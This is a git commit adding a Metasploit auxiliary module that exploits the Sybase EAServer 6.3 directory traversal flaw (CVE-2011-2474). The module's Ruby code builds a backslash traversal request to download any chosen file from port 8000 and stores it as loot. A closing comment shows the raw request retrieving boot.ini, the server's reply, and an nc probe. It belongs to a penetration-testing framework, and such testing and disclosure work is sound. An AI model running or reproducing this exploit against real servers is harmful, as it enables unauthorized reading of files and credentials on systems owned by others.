Add CVE-2011-2474 Sybase EAServer directory traversal vulnerability

2012-01-06 14:24:49 -06:00 · 2012-01-06 14:24:49 -06:00 · 6ceb2f04a3
parent c2a71d63b4
commit 6ceb2f04a3
1 changed files with 112 additions and 0 deletions
--- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb
+++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb
@ -0,0 +1,112 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Sybase Easerver 6.3 Directory Traversal',
+			'Description'    => %q{
+					This module exploits a directory traversal vulnerability found in Sybase
+				EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
+				EAserver's default configuration unless the web server allows WRITE permission.
+			},
+			'References'     =>
+				[
+					[ 'CVE', '2011-2474' ],
+					[ 'OSVDB', '72498' ],
+					[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
+					[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
+				],
+			'Author'         =>
+				[
+					'Sow Ching Shiong', #Initial discovery (via iDefense)
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "May 25 2011"
+		))
+
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
+			], self.class)
+
+		deregister_options('RHOST')
+	end
+
+	def run_host(ip)
+		# No point to continue if no filename is specified
+		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
+			print_error("Please supply the name of the file you want to download")
+			return
+		end
+
+		print_status("Attempting to download: #{datastore['FILEPATH']}")
+
+		# Create request
+		traversal = ".\\..\\.\\..\\.\\..\\.\\.."
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => "/#{traversal}\\#{datastore['FILEPATH']}"
+		}, 25)
+
+		print_status("Server returns HTTP code: #{res.code.to_s}")
+
+		# Show data if needed
+		if res and res.code == 200
+			vprint_line(res.to_s)
+			fname = File.basename(datastore['FILEPATH'])
+
+			path = store_loot(
+				'easerver.http',
+				'application/octet-stream',
+				ip,
+				res.body,
+				fname
+			)
+			print_status("File saved in: #{path}")
+		else
+			print_error("Nothing was downloaded")
+		end
+	end
+end
+
+=begin
+GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
+User-Agent: DotDotPwn v2.1  <-- yup, awesome tool
+Connection: close
+Accept: */*
+Host: 10.0.1.55:8000
+
+HTTP/1.1 200 OK
+Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
+Content-Length: 211
+Connection: close
+Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
+
+[boot loader]
+timeout=30
+default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
+[operating systems]
+multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
+
+$ nc 10.0.1.55 8000
+OPTIONS / HTTP/1.0
+
+HTTP/1.1 405 Method Not Allowed
+Allow: GET
+Content-Length: 0
+Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
+=end